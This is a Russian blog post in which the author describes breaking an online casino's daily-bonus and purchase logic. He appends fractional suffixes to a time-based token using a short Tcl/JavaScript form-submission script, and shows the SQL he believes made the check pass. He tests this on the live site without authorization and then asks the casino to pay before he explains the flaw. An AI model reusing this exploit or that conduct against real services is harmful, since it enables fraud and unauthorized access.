...

пятница, 22 мая 2015 г.

Как я однажды взломал онлайн-казино

Вдохновившись рассказом Chikey о том как он вновь «сломал интернет»Егор прекрати уже ломать все подряд, займись делом каким-нибудь :), решил поведать об одной истории, с довольно известным за рекой, онлайн-казино. Имя этой «организации» не называю, т.к. процентов на 50 уверен, что или совсем не пофиксили, или сделали кривее чем было до этого.

История похожа очень на взлом Егора, за исключением того что это не совсем рэйс, вернее совсем не race condition в чистом его виде. Как оно будет полностью не знаю, я больше практик, чем теоретик. Назовем его «conditional race condition» — хоть и масло масленое, но суть отражает верно.

Как-то вечером, домашние уснули, по ящику одна муть, наши опять проигрывают делать было особенно нечего, на опенсорс решил на сегодня забить, решил чего-нибудь сломать. А что ломать (когда Егор уже все сломал), как не банк какой-нибудь или казино (эго, необходимость иногда почувствовать себя крутым парнем, все дела в общем). Это было одно из первых онлайн-казино, которое мне тогда приглянулось в поиске.

Не секрет, что экономят на программистах, тестировщиках и т.д. все или почти все. Я делаю временами аудиты, да и по роду деятельности такого иногда насмотришься, что волосы дыбом. Но тут-то казино! С возможностью вывода (выигранных) вечнозеленых и т.д. Т.е. контора должна вроде соответствовать…

Завел себе аккаунт, и поехали…

Собственно взлом


Как оказалось — здесь тоже сэкономили изрядно.

Сначала решил набросить себе немного «виртуальных» денег. Виртуальная валюта там не выводится (чисто поиграть — потренироваться). Можно было через paypal (10ct = 10V$), можно раз в день через капчу (20V$).

При беглом просмотре страницы «покупки» (загрузив ее несколько раз) обнаружил там токен, привязанный ко времени (заметен инкремент по модулю 180), отправляющийся с капчей после нажатия «Order». Вероятно в базу для моего аккаунта писался еще и datetime времени «покупки» (чтоб значит только раз в сутки), но нам оно сейчас без надобности.
Я хотел сначала попробовать чистый race (я не настолько глуп чтобы поверить про 3-и минуты, ну или 1.5 минуты если используют формулу со смещением), но у меня были сомнения что нет даже нескольких миллисекунд, т.е. с высокой долей вероятности этот токен скорее всего тоже помечался как использованный в DB, чтобы значит совсем «до завтра» (кстати так оно и оказалось впоследствии).

В результате, решил начать пробовать сразу со своего «условного рэйс». Предположим, что токен пишется в базу int-ом (типа unixtime — т.е. целым числом), ведь они исходят из того, что следующий токен выдадут только через 3 минуты (хотя обычно оно все-таки с каким либо смещением, чтобы даже на границе срок действия его уже истек). Т.е. думаю имеем что-то вида:

create table user_order (usrid int, token bigint, lasttoken bigint, lastorder datetime, ...)


Тут немного техники: я не люблю штуки вида Greasemonkey и ко, хоть и юзаю иногда. Но не люблю (мало что ли таких как Егор;). Много можно сделать и из dev консоли firefox-а, но так по мелочи. Я так тоже довольно редко «работаю».
У меня есть собственный (ну почти) плагин, разворачивающий «полноценный» интерпретор тикля (tcl) с api к javascript текущего окна. Ну типа greasemonkey, только на тикле. Удобно жуть.

В общем, тикль-джиэсный скрипт для «взлома» выглядел следующим образом:

set tok [js form.ordertoken.value]
set i 0
set cntr 0
time {
  ## чтобы не плодить формы - делаем максимум пять штук:
  elm duplicate -overwrite form[expr $i % 5] form
  ## делаем токен "float" и сабмитим форму в таргет (0-4) ...
  js {
    var f = form[expr $i % 5];
    f.target = '_tmp_win_[expr $i % 5]';
    f.ordertoken.value = f.ordertoken.value + '.' + '[format %05d [incr cntr]]';
    f.submit();
  }
  ## отработать события, контекст свич и задержка...
  update; after 5
  incr i
} 10


Т.е. для каждой новой сдублированной формы делаем значение ordertoken в виде числа с плавающей точкой.
Т.е. имеем следуещее в javascript:
   ...
   var f = form0;
   f.target = '_tmp_win_0';
   f.ordertoken.value = f.ordertoken.value + '.' + '00001';
   f.submit();
   ...
   var f = form1;
   f.target = '_tmp_win_1';
   f.ordertoken.value = f.ordertoken.value + '.' + '00002';
   f.submit();
   ...


Догадливый читатель уже наверное понял что происходит.
Следующий SQL-statement будет легально выполнен (если имеем автоконвертирование и режет без ошибки переполнения), а условие будет положительное (т.к. сравнение будет производится во float).
UPDATE user_order set lasttoken = 1432254060.00007, lastorder = now(), vmoney = vmoney + 20
WHERE token = 1432254060.00007 AND lasttoken != 1432254060.00007 AND ...


Что там они проверяли, affected rows или просто if begin… end в транзакции, и SQL ли это вообще, я не в курсе но в очередной раз исполнив скрипт я стал таки «виртуальным» миллионером!
Ну то есть time casino-virt-order 50000.

Как вы думаете как долго сайт продержался с реальным платежом?! День (да и то потому что уже баиньки хотелось очень).
Там конечно не было time casino-real-order 50000 да и думаю, что такое они бы заметили на раз два. Ну какой-то же мониторинг средств (читерства и т.д.) должен все-таки быть. Хоть и с десятью тысячами клиентов. Но 50 по 20 я таки исполнил разок (т.е. заплатив всего 20 вечнорастущих).

Справедливости ради, надо сказать, что я естественно закрыл этот аккаунт без вывода средств.

Мораль


Ну тут вроде и обсуждать нечего.
Единственное, что могу добавить — чистый race condition там не работал, я проверял (второй параллельный вызов выдавал «уже использован»). Но судя по «профессионализму» ребят — это была скорее защита от дурака (типа F5 после реквеста и т.д.).

Интересен другой момент, когда токен устаревал (+ 180) оно уже не работало по причине проверки уже даты последнего «платежа» типа lastorder < now() + '1 day'. Но почему-то не с тем же самым токеном, т.е. думаю что болячка та не одна была.

И да, капча видимо была привязана таким же образом к токену + чего-то еще в форме. Или для нее работал «race», оно мне без надобности было искать.

Кстати все остальное, от SQL-Injection до разных трюков с известными мне эксплойтами на той платформе, выглядели довольно солидно, но как-то все-таки полупрофессионально что ли, т. е. придраться все же было к чему (ну некоторые вещи не делаются так уже лет дцать как).

«Разборки» со мной — злодейским хакером


Даже рассказывать не хочу.

Я, по своему обыкновению, сперва выложил им только результаты «эксплойта» — т.е. вот аккаунт, на нем виртуальный мильён денег. Аккаунт создан позавчера, ну и намек — мол расскажу как, после доната.
Про взлом с реальными деньгами я сначала вообще умолчал (другой аккаунт — другой донат ;). Я не беден, но любая работа должна быть оплачена. Естественно «покаялся», ну т.е. «чисто из спортивного интереса» и «естественно никогда (зуб даю) не буду применять».

Результат:

  • реальная попытка сделать из меня злостного вскрывателя казинов;
  • через некоторое время уже просьбы сказать «как» — т.е. о чудо, они даже по accesslog не нашли!
  • после совсем откровенного намека «работа должна быть оплачена», попытка сделать меня шантажистом (я уже друга адвоката думал подключать)
  • в результате вежливо послал их подальше, снова обязавшись не использовать во вред и игнорируя в дальнейшем все попытки тупого «прессинга»

Что смешно, после закрытия аккаунта уже с реальными деньгами (предварительно вывел только свои 20 евро) я в течении некоторого времени еще получал от них письма, мол «заберите деньги»… Хотел сперва им ответить — потратьте на благотворительность, но они все же не мои. Так и лежат они вероятно там…

Люди, не экономьте все же на профи… Мы, профи, стоим тех денег, которые нам платят.

This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.

1 комментарий: